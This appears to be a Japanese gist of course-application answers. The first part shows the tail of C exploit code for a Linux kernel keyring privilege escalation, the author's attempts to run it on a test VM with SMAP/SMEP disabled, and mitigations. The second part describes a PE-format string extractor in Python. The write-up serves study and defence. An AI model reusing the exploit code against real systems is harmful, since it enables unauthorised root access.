        if (pid == 0) {
            sleep(2);
            if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
                perror("msgget");
                exit(1);
            }
            for (i = 0; i < 64; i++) {
                if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
                    perror("msgsnd");
                    exit(1);
                }
            }
            sleep(-1);
            exit(1);
        }
    }
   
    puts("finished forking");
    sleep(5);

    /* call userspace_revoke from kernel */
    puts("caling revoke...");
    if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
        perror("keyctl_revoke");
    }

    printf("uid=%d, euid=%d\n", getuid(), geteuid());
    execl("/bin/sh", "/bin/sh", NULL);

    return 0;
}

実行した結果、権限が変化せず、実行ユーザーの権限でシェルが起動していました。ここでまず思ったことは、自分の環境は更新されていて、パッチが適用済みなのではないか、ということです。この脆弱性は2016年1月頃に発表されたもので、それまでに自分の環境はアップデートを行っていました。そこで、一度新しい仮想環境内(kernel 3.18.52)で定数値を変化させて試しましたが、うまくいきませんでした。また上述のPerception PointのサイトではSMAPやSMEPというメモリ保護の機構が働いているとexploitがうまく動かないとの報告がありました。SMEPはカーネルモードにおいてユーザー空間アドレスのコードの実行を禁止し、SMAPはカーネルモードにおいてユーザー空間アドレスへのアクセスを禁止するセキュリティ機構です。gistのコメントではkernel 3.18.25ではuidが0で起動できたがvmがフリーズすることが複数の人によって検証されていたコードがあり、それを試してみることにしました。リンクはこちらになります

https://gist.github.com/hal0taso/47e9a1820d109bb7739321189f1c8830

カーネルをビルドして(kernel 3.18.25)SMAPもSMEPも無効にした状態のものに対して試してみました。実行環境は以下の通りです。SMAPはビルド時に.configで無効化していて、grubの設定ファイル(/boot/grub/grub.cfg)でSMEPも無効化しています。

$ uname -r
3.18.25

この環境でleakを実行してみると、/proc/keysは以下のようになりました。

$ cat /proc/keys
17990f68 I--Q---     1 perm 1f3f0000  1000 65534 keyring   _uid.1000: empty
3c04e61c I--Q---    14 perm 3f030000  1000  1000 keyring   _ses: 1
$ ./leak
$ cat /proc/keys
08054473 I--Q---   100 perm 3f3f0000  1000  1000 keyring   leaked-keyring: empty
17990f68 I--Q---     1 perm 1f3f0000  1000 65534 keyring   _uid.1000: empty
3c04e61c I--Q---    14 perm 3f030000  1000  1000 keyring   _ses: 1

実際に参考にしたサイトのように鍵リングオブジェクトが確認できます。そこで、exploit.cをコンパイルして実行したところ、やはりこちらでもプログラムの実行ユーザの権限でシェルを起動していました。そこで、exploitをwatchコマンドで/proc/keysを0.1秒間隔で監視してみると、usageメンバがちょうど0にならない場合(途中でプログラムを中断した際に生成された鍵リングと同じ名前の鍵リングを指定してexploitを動かすと、オーバーフローした後に再度その鍵リングオブジェクトのusageメンバは増加していきました。)はjoin_session_keyringは新しい鍵リングオブジェクトを生成していることがわかったので、参照カウンタはちょうど0になるように調整しないと鍵オブジェクトが解放されないのではと考えました。参照カウンタが0になったとき、たしかに鍵リングオブジェクトは見えないようになっていて、解放されたと考えられます。何度か続けて実行しているとrootは取れている(uid=0, euid=0)がその直後にカーネルパニックを起こしてVMがフリーズする、というところまで確認しました。

$ ./exploit PP_KEY
uid = 1000, euid = 1000
[+] increfs...
[+] finish increfs
[+] fork...
exploit...
uid = 0, euid = 0
Killed

そこで、カーネルメッセージをnetconsole経由でホストOSに転送してログを読んでみたのですが、commit_credskernel_prepare_credといった定数値のアドレスで検索をかけてみたのですが、該当する箇所は見つかりませんでした。結局、rootを奪取してシェルを起動させることはできませんでした。

以上のことからこの脆弱性を利用した攻撃に対しては、SMAPやSMEPといったCPUのカーネル保護機構を有効にしておくことで、攻撃を難しくすることが可能です。また、脆弱性が公開されてしばらくすると、各ディストリビューションからパッチを含むカーネルのアップデートが提供されるので、そのアップデートを適用することで攻撃を防ぐことができます。この脆弱性について調べている途中で、kernel3.18.52でPoCコードを実行した際には/proc/keysを監視していると鍵リングオブジェクトのusageメンバは増加と減少を繰り返していたため、カーネル3.18.25から3.18.52の間に鍵リング関係のコードもしくはjoin_session_keyring関数で使用されているabort_creds関数が変更されて、参照カウンタ(ここではusageメンバ)を増加させる仕組みが変わったのかなぁと思いました。というのも、参考サイトでは参照カウンタusageはjoin_session_keyring中で2度ずつ増加、減少されており、その中でabort_credsがusageメンバを非同期的に、RCUジョブという処理の後に参照カウンタの減算処理を行っていることが重要である、と書かれていたためです。

この脆弱性について調べたときは一般ユーザーから特権ユーザーに権限昇格できるとのことで驚きとともに、不安もあったのですが、exploitのPoCコードの検証をしたり調べたりしているうちに、攻撃者はカーネルのバージョンも特定しなければならず、またSMEPやSMAPが有効な場合はそのバイパスも行わければいけない、確実に成功するとは限らない上に失敗するとカーネルパニックを起こすため、何度も繰り返し攻撃すれば攻撃対象に気づかれるリスクもあるため、攻撃者にとってはあまり嬉しくないことがたくさんあるのを知り、実際に攻撃手法として有用なのかということに疑問を持ちました。

a_6

選-A-6. PEの解析、文字列抽出 PE(Portable Executable)ファイルフォーマットの構造を調べ、添付の.NETアプリケーションから文字列を取得する機能を実装してください。具体的には、ファイルの先頭からヘッダを順次参照することで.NETアプリケーションの文字列(String)型リソースを取得するプログラムを作成してください。その際、以下の制限、規則に従ってください。

  • この.NETアプリケーションのみでなく、汎用的に文字列型を取得できるようなプログラム構造にしてください。
  • PEファイルを解析するような他者のコードは利用せず、自分で調べたPEファイルフォーマットの構造に従い、一からパースするプログラムを作ってください。
  • 参考にしたサイトや調べて分かったこと、作成したプログラムの工夫点などはできる限り詳細に記述してください。

プログラムのソースコードはこちらのリンクにあります。

https://github.com/hal0taso/PEanalyzer

また、このプログラムは、実行すると以下のような出力を得ます。以下の出力はPlayOnMacという、windowsの実行形式のファイルをMac上で実行できるアプリケーションで実行したものです。

Hello world!

hoge fuga

string test

また、プログラムの文字列リテラルという表現が、プログラムを実行した時に表示される文字列なのか、プログラムのバイナリ中の文字列として扱われているものなのか、ということで悩みました。そこで、Ollydbgを用いてReferenced Stringsというwindowに表示される参照文字列を調べてみると、上記のプログラム実行中の文字列だけではなく、プログラム中で参照されている様々な文字列が表示されていました。そこで、今回の課題ではプログラム中に存在する参照文字列を抽出する、というところを目的にプログラムを作成しました。

まず、PEファイルフォーマットについて調べるところから始めました。以下の情報は、"Microsoft Portable Executable and Commom Object File Format Specification", インプレスジャパン出版の"リバースエンジニアリングバイブル-コード再創造の美学-"、O'REILLY出版の"アナライジング・マルウェア"に記載してあることをもとに、自分で検証したことなどを含めて記載してあります。

最初に、PEファイルフォーマットの概要を述べます。PEファイルフォーマットは、ファイルの最初から順にDOS MZヘッダ、DOSスタブ、PEヘッダと続き、その後からセクションテーブルと呼ばれる、種類ごとにまとめられたセクションと呼ばれる領域のサイズや開始アドレスなどの情報が指定されたヘッダが各セクションごとに存在します。その後にセクションごとに情報が格納されいます。このセクションにはプログラムのコードやデータ、リソース情報などが含まれており、セクションはその役割に応じていくつかの種類があります。

次に、各ヘッダに関して順に説明します。

1. DOS MZヘッダ

DOS MZヘッダはPEファイルフォーマットの先頭にある領域で、winnt.h内ではIMAGE_DOS_HEADERとして定義されています。このIMAGE_DOS_HEADER構造体で重要なのは最初のメンバであるe_magicと最後のメンバであるe_lfanewの2つです。e_magicは0x4D, 0x5Aという2バイトの値で、ASCII文字になおすと"MZ"となります。これは余談なのですが、この"MZ"はPEを作ったMark Zbikowiski氏のイニシャルになっています。この値はファイルがPEファイルかどうかの確認としてよく使われます。e_lfanewは実際のPEのオフセットがどこにあるかを示します。つまり、PEヘッダであるIMAGE_NT_HEADERS32がどこに存在するのかを示します。PEファイルフォーマットの各ヘッダの構造体にはe_magicのようなマジックナンバがいくつか存在しており、今回自作したプログラムでは、うまくファイルを読み込めているかの確認を兼ねて各ヘッダのマジックナンバを照らし合わせることで、読み込んだファイルやデータが正しく解析されているか確かめながら解析を行いました。

2. PEヘッダ

PEヘッダはwinnt.hでIMAGE_NT_HEADERS32として定義されており、Signature,FileHeader,OptionalHeaderの3つのメンバから構成されます。SignatureはPEヘッダの先頭4バイトを占め、PEファイルの場合は0x50,0x45,0x00,0x00となっており、これはASCII文字で"PE"となります。次に、残り2つのメンバについて説明します。FileHeaderとOptionalHeaderは構造体です。これらは、それぞれwinnt.h上でIMAGE_FILE_HEADERIMAGE_OPTIONAL_HEADER32として定義されています。

2-1.IMAGE_FILE_HEADER

今回の解析で必要になったのは、このヘッダ中のNumberOfSectionsメンバです。このメンバによって、セクションがいくつあるかを知ることができます。セクションの役割とその説明に関しては後述します。

2-2. IMAGE_OPTINAL_HEADER32

このヘッダにはコード全体のサイズを示すSizeOfCodeメンバや、ファイルが実行される時に実際の仮想メモリにロードされるアドレスを示すImageBaseメンバ、実行ファイルがメモリ上で実行を開始するアドレスであるAddressOfEntryPointメンバなどがあります。PEヘッダの次にセクション毎のセクションヘッダが格納されており、各セクションの最初の8バイトがセクション名を持つNameメンバになっています。セクションヘッダはIMAGE_SECTION_HEADERとして定義されており、セクション名の他に実際のバイナリ中でのアドレスを示すPointerToRawDataメンバとそのサイズを示すSizeOfRawDataメンバが存在しています。

3. セクション

セクションは様々な種類があり、今回文字列の抽出を行いたいので、最初に各セクションのバイナリデータをみながら見当をつけていきました。プログラム実行時に表示される文字列を探してみると、.textセクションの中にあるようだったので、最初は.textセクションからの文字列抽出を実装しようとしました。.textセクションにはプログラムのコードが含まれていて、プログラム中で使用する文字列もここに含まれていました。しかし、ここで疑問に思ったのは、セクションには初期化済みデータなどが入る.rsrcセクションなどがあるにもかかわらず、なぜ.textセクションにプログラム中の文字列が入ってしまっているのか、ということです。そこでセクションについて調べてみると、各セクションのヘッダであるIMAGE_SECTION_HEADER構造体には、Characteristicsというメンバが存在しており、このメンバはセクションの性質を表すフラグとなっていることがわかりました。ここを調べることでそのセクションに初期化済みデータが入っているのか、プログラムコードが入っているのか、メモリへの読み書き実行のアクセス権はどうなっているのかなどを知ることができます。

4. 実装

具体的な実装について説明します。まず、言語はPython3で実装しました。Pythonを選んだ理由は、以前gray hat pythonという本で簡単なwindowsデバッガの実装をしたことがあり、最終的にはこの課題をきっかけに自分でPEフォーマットプログラムの静的解析、動的解析をするOllydbgのようなものを実装してみたいと思ったからです。プログラムの解説に戻ると、まず構成としてwinnt_def.pyとpe.pyの2つのファイルに分割しました。

winnt_def.py

winnt_def.pyファイルはPythonのctypesというPythonからCのデータ型を扱うための標準ライブラリを使用して、各定数や構造体、共用体の定義と、関連する関数の実装を行いました。IMAGE_DOS_HEADERではe_magicの値をチェックし、もし違っている場合はメッセージを表示してプログラムが終了するようにしました。IMAGE_NT_HEADERS32ではSignatureの値を確認し、違う場合はメッセージとともにプログラムが終了するようにしました。ここではそれぞれの構造体をpythonで扱う際のStructureクラスを継承したStructureクラスを再度定義し、そこに各ヘッダに対して行いたい共通の処理(バイナリデータによる構造体の初期化、クラス名のバナー表示、1バイト文字の配列としてヌルバイトを含んだ文字列配列をPythonでの文字列として変換する処理)を記述し、各ヘッダを定義していきました。

pe.py

次に、pe.pyについてです。まずmain関数です。

最初に引数からファイルをバイナリで読み込んで、そのバイナリとヘッダのポインタを各構造体のインスタンス生成時に引数として与えることで、各ヘッダの初期化を行います。ここについて具体的に書きます。最初に、IMAGE_DOS_HEADERのサイズ分のバイナリをファイルの先頭から読み込みます。次e_lfanewの値から次の構造体であるIMAGE_NT_HEADERS32のデータが存在するポインタを取得します。元のバイナリデータとそのポインタからIMAGE_NT_HEADERS32を初期化します。

次にis_initialized_data関数です。この関数は、オプションを指定しない場合に呼ばれます。この関数の内部ではIMAGE_NT_HEADERS32中の後ろ2つの構造体IMAGE_FILE_HEADERからセクションの数を取得し、IMAGE_OPTIONAL_HEADER32まで入ったデータの次のデータから順に、セクションの数だけループ処理をして各セクションヘッダを読み込みます。セクションヘッダを読み込んだあと、各セクションに対してセクションヘッダを調べることで、そのセクションが初期化済みデータが入っているのか、それとも読み込み可能なセクションなのか調べ、該当するセクションをセクション名のリストとして返します。それをsearch_str_earch_section関数に渡すことで、リストに含まれるセクション名と一致するセクションに対して、print_str関数またはprint_raw関数が実行されます。print_str関数については後述します。print_raw関数は、デバッグ用にセクションのバイナリデータを出力します。

ここで悩んだのが、.textセクションの扱い方です。プログラムを実行した時に表示される文字列リテラルは.textセクションに入っていたのですが、.textセクションには初期化済みデータのフラグが立っておらず、プログラムコードであることと、読み込みと実行可能であるというフラグのみが立っていました。そこで、プログラムにオプションで指定できるようにして、vオプションでヘッダの情報を表示、sオプションでセクション名を指定して文字列抽出、rオプションはデバッグ用に指定したセクションのバイナリデータの表示、allオプションですべてのセクションから文字列抽出を行うようにしました。オプションが指定されていない時は、セクションヘッダからCharacteristicsメンバを調べて、IMAGE_SCN_CNT_INITIALIZED_DATA(これは初期化済みデータがあるセクションかどうかのフラグ定数です)とIMAGE_SCN_MEM_READ(これは読み込み可能セクションかどうかのフラグ定数です)どちらかを満たしている場合にそのセクションを文字列抽出する対象とするように実装しました。このオプションや最終的なオプション無しで実行した場合の出力は、stringsコマンドの実行結果との差分を取ることで確認していきました。.textセクションでlオプションに2を指定して抽出を行うと、Ollydbgと同様の出力が得られます。オプションとオプションを追加した理由については後述します。

文字列抽出については、print_str関数に記述されています。具体的には、セクションの最初から順にデータを調べていき、4文字以上のASCIIコード印字可能文字を抽出して表示することにしました。タブを除く制御文字は文字列としてカウントしないことにしました。最初は2文字以上のASCII文字を選択したのですが、その理由として、確認のためにOllydbgで文字列の表示をした際に2文字以上の文字列を表示しているのではないかと思ったためです。実際に、Ollydbgで表示される文字列と今回作成したプログラムで表示された文字列は一致しました。しかし、他のプログラムに対して実行してみたところ、実行コードが文字列として認識されてしまうことがありました。原因は2文字以上のASCII範囲内の文字が連続したものを文字列と認識していたため、プログラムコードがそれを満たした場合に文字列と認識されてしまうことでした。これはPEファイルを解析するプログラムじゃないから大丈夫かなーと、少し迷いながらstringsコマンドの実装を調べてみたのですが、gnuのbinutils2.28に入っているstringsコマンドの実装を調べてみた結果、4文字以上を文字列として読み込んでいる実装を読んで、(もしかしたら自分の理解が間違っていたのかもしれないですが)4文字以上を読み込む実装にしたところ、実行コードだと思われる文字列の表示は減少しました。しかし、常に4文字以上だと2文字や3文字の文字列が表示されなくなってしまうため、lオプションで整数を指定することで抽出する文字列の最低文字数を指定することを可能にしました。

結果

結果として、今回配布されたプログラムにおいてはlオプションで2、-sオプションで.textセクションを指定するとOllydbgの参照文字列を表示した時と同様の出力が得られます。しかし、一般のプログラムに対して実行した時に、未だ実行コードが表示されてしまうので、それをどうにかして改善したいと思います。何もオプション指定しないで実行すると、stringsコマンドを実行した時とある程度同様の出力が得られます。(ここである程度同様としたのは、関数の名前の前についているアンダースコアが消えている場合があり、その原因がまだ特定できていないためです。)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment